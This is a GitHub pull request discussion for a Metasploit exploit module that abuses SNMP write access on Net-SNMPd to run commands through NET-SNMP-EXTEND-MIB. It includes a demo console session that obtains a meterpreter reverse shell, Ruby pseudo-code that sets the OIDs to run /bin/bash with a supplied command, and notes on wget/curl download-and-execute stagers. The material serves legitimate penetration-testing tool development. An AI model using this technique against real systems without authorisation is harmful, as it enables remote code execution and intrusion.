Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Linux net snmpd rw access #9396

Merged
merged 24 commits into from Nov 7, 2019

Conversation

@steve-embling
Copy link
Contributor

steve-embling commented Jan 11, 2018

Adds an exploit for authenticated read/write access on Net-SNMPd.

Note this is a re-opening of PR #9341

Verification

Tested against Ubuntu 16.04

  • Install snmpd apt-get install snmpd
  • Add a rw user to the snmpd configuration
  • Restart snmpd service service snmpd restart
  • Start msfconsole
  • Do: use exploit/linux/snmp/net_snmpd_rw_access
  • Set SNMP version set version 2c
  • Set R/W Community string, e.g set community private
  • Set RHOST
  • Select desired payload
  • exploit
  • Verify the shell is returned

Demo

msf > use exploit/linux/snmp/net_snmpd_rw_access 
msf exploit(linux/snmp/net_snmpd_rw_access) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(linux/snmp/net_snmpd_rw_access) > set rhost 192.168.1.3
rhost => 192.168.1.3
msf exploit(linux/snmp/net_snmpd_rw_access) > set lhost 192.168.1.2
lhost => 192.168.1.2
msf exploit(linux/snmp/net_snmpd_rw_access) > set community private
community => private
msf exploit(linux/snmp/net_snmpd_rw_access) > set version 2c
version => 2c
msf exploit(linux/snmp/net_snmpd_rw_access) > show options

Module options (exploit/linux/snmp/net_snmpd_rw_access):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CHUNKSIZE  200              yes       Maximum bytes of payload to write at once 
   COMMUNITY  private          yes       SNMP Community String
   FILEPATH   /tmp             yes       file path to write to 
   RETRIES    1                yes       SNMP Retries
   RHOST      192.168.1.3      yes       The target address
   RPORT      161              yes       The target port (UDP)
   TIMEOUT    1                yes       SNMP Timeout
   VERSION    2c               yes       SNMP Version <1/2c>


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.2    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux x86


msf exploit(linux/snmp/net_snmpd_rw_access) > show info

       Name: Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution
     Module: exploit/linux/snmp/net_snmpd_rw_access
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Steve Embling at InteliSecure

Available targets:
  Id  Name
  --  ----
  0   Linux x86

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  CHUNKSIZE  200              yes       Maximum bytes of payload to write at once 
  COMMUNITY  private          yes       SNMP Community String
  FILEPATH   /tmp             yes       file path to write to 
  RETRIES    1                yes       SNMP Retries
  RHOST      192.168.1.3      yes       The target address
  RPORT      161              yes       The target port (UDP)
  TIMEOUT    1                yes       SNMP Timeout
  VERSION    2c               yes       SNMP Version <1/2c>

Payload information:
  Space: 4096

Description:
  This exploit module exploits the SNMP write access configuration 
  ability of SNMP-EXTEND-MIB to configure MIB extensions and lead to 
  remote code execution.

References:
  https://www.intelisecure.com

msf exploit(linux/snmp/net_snmpd_rw_access) > run

[*] Started reverse TCP handler on 192.168.1.2:4444 
[*] Writing to NET-SNMP-EXTEND-MIB with given payload
[*] Payload generated. Sending in 200 byte chunk increments.
[*] Sent chunked executable. Now executing payload
[*] Sending stage (849108 bytes) to 192.168.1.3
[+] SNMP request timeout (this is promising).

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.3 - Meterpreter session 1 closed.  Reason: User exit

@steve-embling steve-embling referenced this pull request Jan 11, 2018
0 of 11 tasks complete
@acammack-r7 acammack-r7 self-assigned this Jan 31, 2018
@steve-embling

This comment has been minimized.

Copy link
Contributor Author

steve-embling commented Feb 6, 2018

Hi all.

I've got some time coming up in two weeks where I can make any changes to this and test a couple more platforms. In terms of cleanup or changes for getting this pulled is anything further required?

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Feb 7, 2018

It seems GitHub ate some of my comments.

Each instance of:

SNMP::Manager.open(:Host => datastore['RHOST'], :Port => datastore['RPORT'], :Community => datastore['COMMUNITY']) do |manager|

Can be replaced with:

SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|
@steve-embling

This comment has been minimized.

Copy link
Contributor Author

steve-embling commented Feb 7, 2018

I'll get these changed the next week or so - thanks for the comments.

@steve-embling

This comment has been minimized.

Copy link
Contributor Author

steve-embling commented Feb 8, 2018

I think I've addressed the comments, but will not be able to re-test until early next week.

Steve added 2 commits Feb 8, 2018
Steve
Steve
@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Feb 9, 2018

The changes look good.

The formatting of the options in the documentation might anger the local documentation overlord, which is my bad, I should have offered some examples.

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Feb 9, 2018

Have you tried implementing the payload delivery using a Metasploit command stager ? Just curious. This module would probably work well with the command stager. This would take care of the payload chunking for you, which is nice. Implementing the response checking on the final request might be problematic.

You can find examples of command stager implementations on Linux with: grep -rn "execute_cmdstager" modules/exploits/linux/.

Here's some very rough untested psuedo-code that does no error checking, as an example, and certainly won't work without modifications.

The approach of wrapping the command in -c "" is rather janky. I think there's a way to overwrite the default interpreter but I can't find it at the moment. An alternative would be to grab the automatically generated command from the cmd parameter by splitting by whitespace, then overwrite oid_2_value = "/bin/bash" with the extracted command.

  #
  # The exploit method connects and sets:
  # NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4)
  # NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable
  # NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments
  #
  def execute_command(cmd, opts = {})

    # NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4)
    oid_1 = '1.3.6.1.4.1.8072.1.3.2.2.1.21.3.116.109.112'
    oid_1_value = 4
    oid_2 = '1.3.6.1.4.1.8072.1.3.2.2.1.2.3.116.109.112'
    oid_2_value = "/bin/bash"
    oid_3 = '1.3.6.1.4.1.8072.1.3.2.2.1.3.3.116.109.112'
    oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1'

      comm = datastore['COMMUNITY']
      oid_3_value = "-c \"#{cmd}\""

      SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => @comm) do |manager|
          vprint_status(manager.get_value("sysDescr.0"))
          varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))
          varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))
          varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))
          resp = manager.set([varbind1, varbind2, varbind3])
          vprint_status(manager.get_value(oid_4).to_s)
      end
      #Hit same again, first rewrite  appears to remove the MIB, the next reinstates it.
      SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => @comm) do |manager|
          varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))
          varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))
          varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))
          resp = manager.set([varbind1, varbind2, varbind3])
          vprint_status(manager.get_value(oid_4).to_s)
      end
    end

  end

  def exploit
    execute_cmdstager(linemax: datastore['CHUNKSIZE'], :temp => datastore['FILEPATH'])
  end
end
@steve-embling

This comment has been minimized.

Copy link
Contributor Author

steve-embling commented Feb 9, 2018

Since writing this I've seen an option to fork and execute in the MIB, which would prevent snmpd hanging while meterpreter runs, i think it would be better to implement this over the next week too to be a little more subtle - currently it checks for for the hang to see if everything seems to be working which that would obviously break but that is worth it imo. This change would then allow the exploit to delete the written file on disk and clear the written mibs by itself too which it does not do currently, so again, a little more subtle/client friendly.

I'd also like to make the MIBs name configurable or random, currently it writes to "tmp" which could conceivably be used by a sysadmin to, say, clear the tmp directory or something, as unlikely as that scenario probably is

Have you tried implementing the payload delivery using a Metasploit command stager ?

Nope, it looks like exactly what I should have used. I'll try to find some examples of its use and see what I can do to use that, but I'm it is likely to be a bit slower going being completely new to Ruby and MSF internals.

The approach of wrapping the command in -c "" is rather janky. I think there's a way to overwrite the default interpreter but I can't find it at the moment.

When you say the "default interpreter" is that the default shell chosen by command stager or the system default shell? You lost me a little there. For embedded devices in particular it might be nice if this was user configurable rather than hardcoded, but I guess I'll look at other command stager uses and see what they are doing.

If you have better methods than wrapping in -c "" then I can get that changed too. Again, if I see something when looking through other sources I'll change it, I think I did it this way so I could do a bunch of piping - quick and easy.

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Feb 9, 2018

Ah yeah my bad I wasn't clear.

I was referring to the example code I provided, where I lazying wrapped the command in -c "". This was done out of laziness so that oid_2_value didn't have to be changed from "/bin/bash".

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Feb 9, 2018

In retrospect my "default interpreter" comments were nonsense - using the split by whitespace approach would make more sense. Not sure if there's a better approach.

When execute_cmdstager is invoked within a module, it will use the execute_command method in the module to execute commands.

The command stager will chunk the exe, then use the cmdstager::flavor (printf, echo, etc) to write the chunks to a file, then chmod and execute the file. The command stager also supports a few download-and-execute cmdstager::flavors with wget and curl, which can be useful so long as network egress rules allow the connection.

The easiest approach is probably something like this (psuedo code, for demonstration purposes):

def execute_command(cmd, opts = {})
  # ... snip ...

  # split the command by whitespace
  bin_path = cmd.split(/\s/).first
  oid_2_value = bin_path

  # ... snip ...

  oid_3_value = cmd.sub(/^#{bin_path}/) # remove the command from the start of the string

  # ... snip ...
end

I hope that makes sense?

As an aside, another benefit of supporting the native metasploit command stager is that the cmdstager::flavor is user configurable. If some flavors are known not to work, you can easily prevent their use with deregister_options. You can find a few examples in the source with grep -rn "CMDSTAGER::FLAVOR" modules/exploits/.

@steve-embling

This comment has been minimized.

Copy link
Contributor Author

steve-embling commented Feb 9, 2018

Makes perfect sense - thanks for clarifying.
I'll have a bit of a play and see how far i get.
Cheers

@steve-embling

This comment has been minimized.

Copy link
Contributor Author

steve-embling commented Feb 9, 2018

Right, I've ported it over to cmdstager and bourne shell is working but reverse_tcp meterpreter is consistently segfaulting now, and echo/printf aren't working because the nested quoting is stripping characters and the files are getting written out as ascii instead of binary payloads, i think i need to specify the internal quotes to use those flavours - which would be nice to have as an option for more limited systems. I might just sit and play with the quoting or maybe replacing strings until I find something that works reliably.

I constantly forget how awful I find quoting in bash until I need it. I'm not sure if its going to work unless I can specify the internal quotes to escape those characters appropriately.

It is looking much shorter/cleaner though which is nice.

Bourne flavour is segfaulting on meterpreter payloads on most runs which was fairly reliable before. Not sure what the problem is there.

It will likely have to wait next week when I can put some dedicated time into testing this though. I'll keep plugging away but just a quick update..

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Feb 9, 2018

That was quick. Thanks for the update. There's no hurry.

Meterpreter itself is segfaulting? That's unusual. Are you using the latest version of msf from GitHub?

What do you mean by nested quoting?

set cmdstager::flavor wget is usually pretty reliable for testing. Short payload too.

@steve-embling

This comment has been minimized.

Copy link
Contributor Author

steve-embling commented Feb 9, 2018

It's working solidly now after a couple of reboots - not sure why I was getting that issue but it has run run 13x in a row with not a single segfault. So whatever that was is on me. I'll be keeping an eye out for it happening again though.

I need to modify the provided echo and printf strings if that flavour is used to allow single quotes within single quotes, calling bash -c with double quotes does not work for writing hex characters (now I remember why I went with base64 before!). I'm hoping that should be a fairly fast change.

I'd like to allow printf and echo for embedded devices with no access to either bash or wget as the shell is now user configurable. But it may be overkill. If it takes too much time I might drop it.

Steve added 2 commits Feb 9, 2018
Steve
Steve
@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Feb 9, 2018

Cool. At a guess, the segfaults might have been due to lingering meterpreter processes on the host from previous failed exploitation attempts. I've encountered something similar.

Regarding the issue with quotes, using the split-by-whitespace technique should fix that. You may or may not also be able to leverage cmdstager::decoder.

Steve added 6 commits Feb 14, 2018
Steve
Steve
Steve
Steve
@steve-embling

This comment has been minimized.

Copy link
Contributor Author

steve-embling commented Feb 14, 2018

Hi again, so I believe I have fixed the issues.

Do I need to document all the cmdstager options or is that considered redundant?

Steve
@steve-embling

This comment has been minimized.

Copy link
Contributor Author

steve-embling commented Feb 15, 2018

OK, I've just confirmed all of the enabled cmdstager flavours are working (bourne, wget, echo, printf) which should give decent compatibility across many devices, assuming the escaping works on alternative shells. I assume this will work on ARM and MIPS devices but haven't got anything available to test so haven't added them as targets.

I've confirmed that the MIB is no longer present after the connection is torn down too.

I have not fixed the lack of responsiveness from the SNMP server while meterpreter is has spawned until the connection is closed. I may add something bash specific to the "bourne" flavour (as I assume this will be shell specific at best) at some point in the future, but that won't be short term if it works at all.

So if the documentation is alright for this, then I believe that is everything done. I haven't duplicated any cmdstager option documentation. I've assumed that is managed and maintained centrally rather than in the dependent modules - though I might be wrong.

@bcoles - Sorry for mentioning - it's only because of the comment spam making this hard to follow.

@steve-embling

This comment has been minimized.

Copy link
Contributor Author

steve-embling commented Aug 8, 2018

Is this waiting on me to do anything or is anything preventing this being merged?

Thanks.

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Oct 5, 2018

Hi @steve-embling

Sorry for the delay. I want to see this module merged. This is waiting on us, not you, although I do have a few comments.

Escaping

My primary concern with the module is the escaping jankiness. I'm kind of hoping whoever reviews this PR will find a clever way of simplifying this.

    if flavor == :echo
      #Add additional escaping for this flavour.
      cmd.gsub!('\\\\x', '\\\\\\\\\\\\\\\\x')
    end
    if flavor == :printf
      #Add additional escaping for this flavour.
      cmd.gsub!('\\', '\\\\\\\\\\')
    end

Check

A check method would be nice. Metasploit has SNMP libraries to check whether a provided community string is valid. I'm not sure if there's a consistent way to check whether the specified community string has rw privs.

DisclosureDate

The DisclosureDate metadata is a mandatory key. Given that this module makes use of intended functionality, it would be best to reference the date of release for the first version of snmpd which supported executing commands via NET-SNMP-EXTEND-MIB::nsExtendStatus. (and also add a URL as a reference).

References

The reference URLs should relate to the functionality being exploited, rather than advertising. Can you please add a reference URL for NET-SNMP-EXTEND-MIB::nsExtendStatus functionality, and any relevant blog posts or articles discussing exploiting this feature, if possible.

@steve-embling

This comment has been minimized.

Copy link
Contributor Author

steve-embling commented Jan 18, 2019

Literally just noticed this reply, sorry.

Escaping
This was just found through trial and error, didn't spend too long looking into it and why it needs so much. Janky is definitely appropriate.

I did notice on a recent test that it went > 100% when uploading the payload, I assume this because the payload is longer than cmdstager expects because of this additional escaping but I don't remember seeing it at the time. So not sure if the behaviour there has changed or I just didn't notice.

I'm hoping the reviewer can make a suggestion, because I don't think its something I could fix short term.

Check
So, metasploit SNMP login checks do give some output on where a string is RO/RW but I don't fancy reimplementing that and duplicating all the code. Seeing as there is already this functionality is there a simple way for me to wrap a call to that?

I'll be looking into it but a suggestion might speed things up.

The other reason I never did include this, as it's still very uncertain whether the exploit will work from that alone - it might not be running against Net-SNMP at all so not have the ability to do anything with it. At best it's a maybe.

Disclosure Date
I'll look into this and get the date added as soon as I can. It is intended functionality and really "admin" feels more appropriate than "exploit", but I couldn't find an admin module that would allow it to work with the choice of payloads.

Reference
I'll update this, I'm sure this came from another module I used. Found nothing on using it maliciously in searching at the time (which I found very surprising), but a blog post on using it from the admin's perspective is probably going to be good enough?

Otherwise I could maybe stick the blog post up and link to that instead?

Updated references to blog post and mailing list of commit proposal

Updated disclosure date to commit proposal
@bcoles

This comment has been minimized.

@steve-embling

This comment has been minimized.

Copy link
Contributor Author

steve-embling commented Aug 8, 2019

OK, will update over then next few weeks - noting the caveat that neither of these posts existed when the pull request was originally opened in Dec 2017!

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Aug 8, 2019

OK, will update over then next few weeks - noting the caveat that neither of these posts existed when the pull request was originally opened in Dec 2017!

Agreed. You deserve credit for your work. It is not your fault that this PR has been open for 2 years.

@dwelch-r7 dwelch-r7 self-assigned this Oct 8, 2019
dwelch-r7 added a commit that referenced this pull request Nov 7, 2019
@dwelch-r7 dwelch-r7 merged commit 46005eb into rapid7:master Nov 7, 2019
3 checks passed
3 checks passed
Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details
msjenkins-r7 added a commit that referenced this pull request Nov 7, 2019
@dwelch-r7

This comment has been minimized.

Copy link
Contributor

dwelch-r7 commented Nov 7, 2019

Release Notes

Adds a new exploit module targeting Net-SNMP that allows for remote code execution if you have read/write access.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
5 participants
You can’t perform that action at this time.